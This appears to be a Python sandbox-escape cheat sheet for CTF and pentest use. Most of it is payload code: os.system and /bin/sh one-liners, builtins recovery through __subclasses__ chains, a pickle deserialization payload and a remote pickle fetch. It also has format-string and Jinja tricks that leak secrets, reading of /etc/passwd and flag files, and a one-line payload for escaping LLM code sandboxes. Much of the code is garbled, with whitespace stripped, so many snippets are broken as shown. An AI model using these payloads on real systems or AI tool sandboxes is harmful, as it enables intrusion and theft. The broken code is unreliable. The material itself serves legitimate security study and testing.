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These are some tricks to bypass python sandbox protections and execute arbitrary commands.
Command Execution Libraries
The first thing you need to know is if you can directly execute code with some already imported library, or if you could import any of these libraries:
os.system("ls")os.popen("ls").read()commands.getstatusoutput("ls")commands.getoutput("ls")commands.getstatus("file/path")subprocess.call("ls", shell=True)subprocess.Popen("ls", shell=True)pty.spawn("ls")pty.spawn("/bin/bash")platform.os.system("ls")pdb.os.system("ls")#Import functions to execute commandsimportlib.import_module("os").system("ls")importlib.__import__("os").system("ls")imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")imp.os.system("ls")imp.sys.modules["os"].system("ls")sys.modules["os"].system("ls")__import__("os").system("ls")import osfrom os import*#Other interesting functionsopen("/etc/passwd").read()open('/var/www/html/input', 'w').write('123')#In Python2.7execfile('/usr/lib/python2.7/os.py')system('ls')
Remember that the open and read functions can be useful to read files inside the python sandbox and to write some code that you could execute to bypass the sandbox.
Python2 input() function allows executing python code before the program crashes.
Python try to load libraries from the current directory first (the following command will print where is python loading modules from): python3 -c 'import sys; print(sys.path)'
Bypass pickle sandbox with the default installed python packages
#Note that here we are importing the pip library so the pickle is created correctly#however, the victim doesn't even need to have the library installed to execute it#the library is going to be loaded automaticallyimport pickle, os, base64, pipclassP(object):def__reduce__(self):return (pip.main,(["list"],))print(base64.b64encode(pickle.dumps(P(), protocol=0)))
You can download the package to create the reverse shell here. Please, note that before using it you should decompress it, change the setup.py, and put your IP for the reverse shell:
This package is called Reverse. However, it was specially crafted so that when you exit the reverse shell the rest of the installation will fail, so you won't leave any extra python package installed on the server when you leave.
Eval-ing python code
Note that exec allows multiline strings and ";", but eval doesn't (check walrus operator)
If certain characters are forbidden you can use the hex/octal/B64 representation to bypass the restriction:
exec("print('RCE'); __import__('os').system('ls')")#Using ";"exec("print('RCE')\n__import__('os').system('ls')")#Using "\n"eval("__import__('os').system('ls')")#Eval doesn't allow ";"eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))#This way eval accept ";"__import__('timeit').timeit("__import__('os').system('ls')",number=1)#One liners that allow new lines and tabseval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
#Pandasimport pandas as pddf = pd.read_csv("currency-rates.csv")df.query('@__builtins__.__import__("os").system("ls")')df.query("@pd.io.common.os.popen('ls').read()")df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")# The previous options work but others you might try give the error:# Only named functions are supported# Like:df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
Operators and short tricks
# walrus operator allows generating variable inside a list## everything will be executed in order## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/[a:=21,a*2][y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
Bypassing protections through encodings (UTF-7)
In this writeup UFT-7 is used to load and execute arbitrary python code inside an apparent sandbox:
assertb"+AAo-".decode("utf_7")=="\n"payload ="""# -*- coding: utf_7 -*-def f(x): return x #+AAo-print(open("/flag.txt").read())""".lstrip()
It is also possible to bypass it using other encodings, e.g. raw_unicode_escape and unicode_escape.
Python execution without calls
If you are inside a python jail that doesn't allow you to make calls, there are still some ways to execute arbitrary functions, code and commands.
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/@exec@inputclassX:pass# The previous code is equivalent to:classX:passX =input(X)X =exec(X)# So just send your python code when prompted and it will be executed# Another approach without calling input:@eval@'__import__("os").system("sh")'.formatclass_:pass
RCE creating objects and overloading
If you can declare a class and create an object of that class you could write/overwrite different methods that can be triggeredwithoutneeding to call them directly.
RCE with custom classes
You can modify some class methods (by overwriting existing class methods or creating a new class) to make them execute arbitrary code when triggered without calling them directly.
# This class has 3 different ways to trigger RCE without directly calling any functionclassRCE:def__init__(self): self +="print('Hello from __init__ + __iadd__')"__iadd__=exec#Triggered when object is createddef__del__(self): self -="print('Hello from __del__ + __isub__')"__isub__=exec#Triggered when object is created__getitem__=exec#Trigerred with obj[<argument>]__add__=exec#Triggered with obj + <argument># These lines abuse directly the previous class to get RCErce =RCE()#Later we will see how to create objects without calling the constructorrce["print('Hello from __getitem__')"]rce +"print('Hello from __add__')"del rce# These lines will get RCE when the program is over (exit)sys.modules["pwnd"]=RCE()exit()# Other functions to overwrite__sub__ (k -'import os; os.system("sh")')__mul__ (k *'import os; os.system("sh")')__floordiv__ (k //'import os; os.system("sh")')__truediv__ (k /'import os; os.system("sh")')__mod__ (k %'import os; os.system("sh")')__pow__ (k**'import os; os.system("sh")')__lt__ (k <'import os; os.system("sh")')__le__ (k <='import os; os.system("sh")')__eq__ (k =='import os; os.system("sh")')__ne__ (k !='import os; os.system("sh")')__ge__ (k >='import os; os.system("sh")')__gt__ (k >'import os; os.system("sh")')__iadd__ (k +='import os; os.system("sh")')__isub__ (k -='import os; os.system("sh")')__imul__ (k *='import os; os.system("sh")')__ifloordiv__ (k //='import os; os.system("sh")')__idiv__ (k /='import os; os.system("sh")')__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %='import os; os.system("sh")')__ipow__ (k **='import os; os.system("sh")')__ilshift__ (k<<='import os; os.system("sh")')__irshift__ (k >>='import os; os.system("sh")')__iand__ (k ='import os; os.system("sh")')__ior__ (k |='import os; os.system("sh")')__ixor__ (k ^='import os; os.system("sh")')
The key thing that metaclasses allow us to do is make an instance of a class, without calling the constructor directly, by creating a new class with the target class as a metaclass.
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed# This will define the members of the "subclass"classMetaclass(type):__getitem__=exec# So Sub[string] will execute exec(string)# Note: Metaclass.__class__ == typeclassSub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclasspass# Nothing special to doSub['import os; os.system("sh")']## You can also use the tricks from the previous section to get RCE with this object
Creating objects with exceptions
When an exception is triggered an object of the Exception is created without you needing to call the constructor directly (a trick from @_nag0mez):
classRCE(Exception):def__init__(self): self +='import os; os.system("sh")'__iadd__=exec#Triggered when object is createdraise RCE #Generate RCE object# RCE with __add__ overloading and try/except + raise generated objectclassKlecko(Exception):__add__=exectry:raise Kleckoexcept Klecko as k: k +'import os; os.system("sh")'#RCE abusing __add__## You can also use the tricks from the previous section to get RCE with this object
More RCE
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/# If sys is imported, you can sys.excepthook and trigger it by triggering an errorclassX:def__init__(self,a,b,c): self +="os.system('sh')"__iadd__=execsys.excepthook = X1/0#Trigger it# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py# The interpreter will try to import an apt-specific module to potentially # report an error in ubuntu-provided modules.# Therefore the __import__ functions are overwritten with our RCEclassX():def__init__(self,a,b,c,d,e): self +="print(open('flag').read())"__iadd__=eval__builtins__.__import__ = X{}[1337]
Read file with builtins help & license
__builtins__.__dict__["license"]._Printer__filenames=["flag"]a =__builtins__.helpa.__class__.__enter__=__builtins__.__dict__["license"]a.__class__.__exit__=lambdaself,*args: Nonewith (a as b):pass
If you can access the __builtins__ object you can import libraries (notice that you could also use here other string representation shown in the last section):
When you don't have __builtins__ you are not going to be able to import anything nor even read or write files as all the global functions (like open, import, print...) aren't loaded.
However, by default python imports a lot of modules in memory. These modules may seem benign, but some of them are also importing dangerous functionalities inside of them that can be accessed to gain even arbitrary code execution.
In the following examples you can observe how to abuse some of this "benign" modules loaded to accessdangerousfunctionalities inside of them.
Python2
#Try to reload __builtins__reload(__builtins__)import __builtin__# Read recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()# Write recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')# Execute (another method)().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")
# Or you could obtain the builtins from a defined functionget_flag.__globals__['__builtins__']['__import__']("os").system("ls")
Python3
# Obtain builtins from a globally defined function# https://docs.python.org/3/library/functions.htmlhelp.__call__.__builtins__# or __globals__license.__call__.__builtins__# or __globals__credits.__call__.__builtins__# or __globals__print.__self__dir.__self__globals.__self__len.__self____build_class__.__self__# Obtain the builtins from a defined functionget_flag.__globals__['__builtins__']# Get builtins from loaded classes[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
# Recover __builtins__ and make everything easier__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
Builtins payloads
# Possible payloads once you have found the builtins__builtins__["open"]("/etc/passwd").read()__builtins__["__import__"]("os").system("ls")# There are lots of other payloads that can be abused to execute commands# See them below
Globals and locals
Checking the globals and locals is a good way to know what you can access.
Here I want to explain how to easily discover more dangerous functionalities loaded and propose more reliable exploits.
Accessing subclasses with bypasses
One of the most sensitive parts of this technique is being able to access the base subclasses. In the previous examples this was done using ''.__class__.__base__.__subclasses__() but there are other possible ways:
#You can access the base from mostly anywhere (in regular conditions)"".__class__.__base__.__subclasses__()[].__class__.__base__.__subclasses__(){}.__class__.__base__.__subclasses__()().__class__.__base__.__subclasses__()(1).__class__.__base__.__subclasses__()bool.__class__.__base__.__subclasses__()print.__class__.__base__.__subclasses__()open.__class__.__base__.__subclasses__()defined_func.__class__.__base__.__subclasses__()#You can also access it without "__base__" or "__class__"# You can apply the previous technique also here"".__class__.__bases__[0].__subclasses__()"".__class__.__mro__[1].__subclasses__()"".__getattribute__("__class__").mro()[1].__subclasses__()"".__getattribute__("__class__").__base__.__subclasses__()# This can be useful in case it is not possible to make calls (therefore using decorators)().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec
#If attr is present you can access everything as a string# This is common in Django (and Jinja) environments(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
Finding dangerous libraries loaded
For example, knowing that with the library sys it's possible to import arbitrary libraries, you can search for all the modules loaded that have imported sys inside of them:
There are a lot, and we just need one to execute commands:
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
We can do the same thing with other libraries that we know can be used to execute commands:
#os[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'os."instr(x) ][0]['system']('ls')#subprocess[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in''.__class__.__base__.__subclasses__()if"'subprocess."instr(x) ][0]['Popen']('ls')[ x for x in''.__class__.__base__.__subclasses__()if x.__name__=='Popen' ][0]('ls')#builtins[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")
#sys[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")
#commands (not very common)[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")
#pty (not very common)[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")
#importlib[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")
#pdb[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
Moreover, we could even search which modules are loading malicious libraries:
Moreover, if you think other libraries may be able to invoke functions to execute commands, we can also filter by functions names inside the possible libraries:
This is just awesome. If you are looking for an object like globals, builtins, open or anything just use this script to recursively find places where you can find that object.
import os, sys # Import these to find more gadgetsSEARCH_FOR ={# Misc"__globals__":set(),"builtins":set(),"__builtins__":set(),"open":set(),# RCE libs"os":set(),"subprocess":set(),"commands":set(),"pty":set(),"importlib":set(),"imp":set(),"sys":set(),"pip":set(),"pdb":set(),# RCE methods"system":set(),"popen":set(),"getstatusoutput":set(),"getoutput":set(),"call":set(),"Popen":set(),"popen":set(),"spawn":set(),"import_module":set(),"__import__":set(),"load_source":set(),"execfile":set(),"execute":set()}#More than 4 is very time consumingMAX_CONT =4#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found#ALREADY_CHECKED = set()defcheck_recursive(element,cont,name,orig_n,orig_i,execute):# If bigger than maximum, stopif cont > MAX_CONT:return# If already checked, stop#if name and name in ALREADY_CHECKED:# return# Add to already checked#if name:# ALREADY_CHECKED.add(name)# If found add to the dictfor k in SEARCH_FOR:if k indir(element)or (type(element)isdictand k in element): SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")# Continue with the recursivityfor new_element indir(element):try:check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)# WARNING: Calling random functions sometimes kills the script# Comment this part if you notice that behaviour!!if execute:try:ifcallable(getattr(element, new_element)): check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)
except:passexcept:pass# If in a dict, scan also each key, very importantiftype(element)isdict:for new_element in element:check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)defmain():print("Checking from empty string...") total = [""]for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="") cont =1check_recursive(element, cont, "", str(element), f"Empty str {i}", True)print()print("Checking loaded subclasses...") total ="".__class__.__base__.__subclasses__()for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="") cont =1check_recursive(element, cont, "", str(element), f"Subclass {i}", True)print()print("Checking from global functions...") total = [print, check_recursive]for i,element inenumerate(total):print(f"\rStatus: {i}/{len(total)}", end="") cont =1check_recursive(element, cont, "", str(element), f"Global func {i}", False)print()print(SEARCH_FOR)if__name__=="__main__":main()
You can check the output of this script on this page:
If you send a string to python that is going to be formatted, you can use {} to access python internal information. You can use the previous examples to access globals or builtins for example.
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/CONFIG ={"KEY":"ASXFYFGK78989"}classPeopleInfo:def__init__(self,fname,lname): self.fname = fname self.lname = lnamedefget_name_for_avatar(avatar_str,people_obj):return avatar_str.format(people_obj = people_obj)people =PeopleInfo('GEEKS', 'FORGEEKS')st ="{people_obj.__init__.__globals__[CONFIG][KEY]}"get_name_for_avatar(st, people_obj = people)
Note how you can access attributes in a normal way with a dot like people_obj.__init__ and dict element with parenthesis without quotes __globals__[CONFIG]
Also note that you can use .__dict__ to enumerate elements of an object get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)
Some other interesting characteristics from format strings is the possibility of executing the functionsstr, repr and ascii in the indicated object by adding !s, !r, !a respectively:
st ="{people_obj.__init__.__globals__[CONFIG][KEY]!a}"get_name_for_avatar(st, people_obj = people)
Moreover, it's possible to code new formatters in classes:
classHAL9000(object):def__format__(self,format):if (format=='open-the-pod-bay-doors'):return"I'm afraid I can't do that."return'HAL 9000''{:open-the-pod-bay-doors}'.format(HAL9000())#I'm afraid I can't do that.
{whoami.__class__.__dict__}{whoami.__globals__[os].__dict__}{whoami.__globals__[os].environ}{whoami.__globals__[sys].path}{whoami.__globals__[sys].modules}# Access an element through several links{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}# Example from https://corgi.rip/posts/buckeye-writeups/secret_variable ="clueless"x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')str(x)# Out: clueless
LLM Jails bypass
From here: ().class.base.subclasses()[108].load_module('os').system('dir')
From format to RCE loading libraries
According to the TypeMonkey chall from this writeup it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
As reminder, every time an action is performed in python some function is executed. For example 2*3 will execute (2).mul(3) or {'a':'b'}['a'] will be {'a':'b'}.__getitem__('a').
A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like '{0.system("/bin/sh")}'.format(os).
However, it's possible to use []. Therefore, if a common python library has a __getitem__ or __getattr__ method that executes arbitrary code, it's possible to abuse them to get RCE.
Looking for a gadget like that in python, the writeup purposes this Github search query. Where he found this one:
This gadget allows to load a library from disk. Therefore, it's needed to somehow write or upload the library to load correctly compiled to the attacked server.
In some CTFs you could be provided with the name of a custom function where the flag resides and you need to see the internals of the function to extract it.
dir()#General dir() to find what we have loaded['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag)#Get info tof the function['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
globals
__globals__ and func_globals(Same) Obtains the global environment. In the example you can see some imported modules, some global variables and their content declared:
get_flag.func_globalsget_flag.__globals__{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}
#If you have access to some variable valueCustomClassObject.__class__.__init__.__globals__
__code__ and func_code: You can access this attribute of the function to obtain the code object of the function.
# In our current exampleget_flag.__code__<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1# Compiling some python codecompile("print(5)", "", "single")<code object<module> at 0x7f9ca01330c0, file "", line 1>#Get the attributes of the code objectdir(get_flag.__code__)['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
Getting Code Information
# Another examples ='''a = 5b = 'text'def f(x): return xf(5)'''c=compile(s, "", "exec")# __doc__: Get the description of the function, if anyprint.__doc__# co_consts: Constantsget_flag.__code__.co_consts(None,1,'secretcode','some','array','THIS-IS-THE-FALG!','Nope')c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.(5,'text',<code object f at 0x7f9ca0133540, file "", line 4>,'f',None# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
get_flag.__code__.co_names()c.co_names('a','b','f')#co_varnames: Local names used by the bytecode (arguments first, then the local variables)get_flag.__code__.co_varnames('some_input','var1','var2','var3')#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.get_flag.__code__.co_cellvars()#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.get_flag.__code__.co_freevars()#Get bytecodeget_flag.__code__.co_code'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
Notice that if you cannot import dis in the python sandbox you can obtain the bytecode of the function (get_flag.func_code.co_code) and disassemble it locally. You won't see the content of the variables being loaded (LOAD_CONST) but you can guess them from (get_flag.func_code.co_consts) because LOAD_CONSTalso tells the offset of the variable being loaded.
Now, let us imagine that somehow you can dump the information about a function that you cannot execute but you need to execute it.
Like in the following example, you can access the code object of that function, but just reading the disassemble you don't know how to calculate the flag (imagine a more complex calc_flag function)
defget_flag(some_input): var1=1 var2="secretcode" var3=["some","array"]defcalc_flag(flag_rot2):return''.join(chr(ord(c)-2) for c in flag_rot2)if some_input == var2:returncalc_flag("VjkuKuVjgHnci")else:return"Nope"
Creating the code object
First of all, we need to know how to create and execute a code object so we can create one to execute our function leaked:
code_type =type((lambda: None).__code__)# Check the following hint if you get an error in calling thiscode_obj =code_type(co_argcount, co_kwonlyargcount, co_nlocals, co_stacksize, co_flags, co_code, co_consts, co_names, co_varnames, co_filename, co_name, co_firstlineno, co_lnotab, freevars=None, cellvars=None)# Executioneval(code_obj)#Execute as a whole script# If you have the code of a function, execute itmydict ={}mydict['__builtins__']=__builtins__function_type(code_obj, mydict, None, None, None)("secretcode")
Depending on the python version the parameters of code_type may have a different order. The best way to know the order of the params in the python version you are running is to run:
import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
Recreating a leaked function
In the following example, we are going to take all the data needed to recreate the function from the function code object directly. In a real example, all the values to execute the function code_type is what you will need to leak.
fc = get_flag.__code__# In a real situation the values like fc.co_argcount are the ones you need to leakcode_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)
mydict ={}mydict['__builtins__']=__builtins__function_type(code_obj, mydict, None, None, None)("secretcode")#ThisIsTheFlag
Bypass Defenses
In previous examples at the beginning of this post, you can see how to execute any python code using the compile function. This is interesting because you can execute whole scripts with loops and everything in a one liner (and we could do the same using exec).
Anyway, sometimes it could be useful to create a compiled object in a local machine and execute it in the CTF machine (for example because we don't have the compiled function in the CTF).
For example, let's compile and execute manually a function that reads ./poc.py:
#On Remotefunction_type =type(lambda: None)code_type =type((lambda: None).__code__)#Get <type 'type'>consts = (None,"./poc.py",'r')bytecode ='t\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'names = ('open','read')# And execute it using eval/execeval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))#You could also execute it directlymydict ={}mydict['__builtins__']=__builtins__codeobj =code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())function_type(codeobj, mydict, None, None, None)()
If you cannot access eval or exec you could create a proper function, but calling it directly is usually going to fail with: constructor not accessible in restricted mode. So you need a function not in the restricted environment to call this function.
Python executed with optimizations with the param -O will remove asset statements and any code conditional on the value of debug.
Therefore, checks like
defcheck_permission(super_user):try:assert(super_user)print("\nYou are a super user\n")exceptAssertionError:print(f"\nNot a Super User!!!\n")
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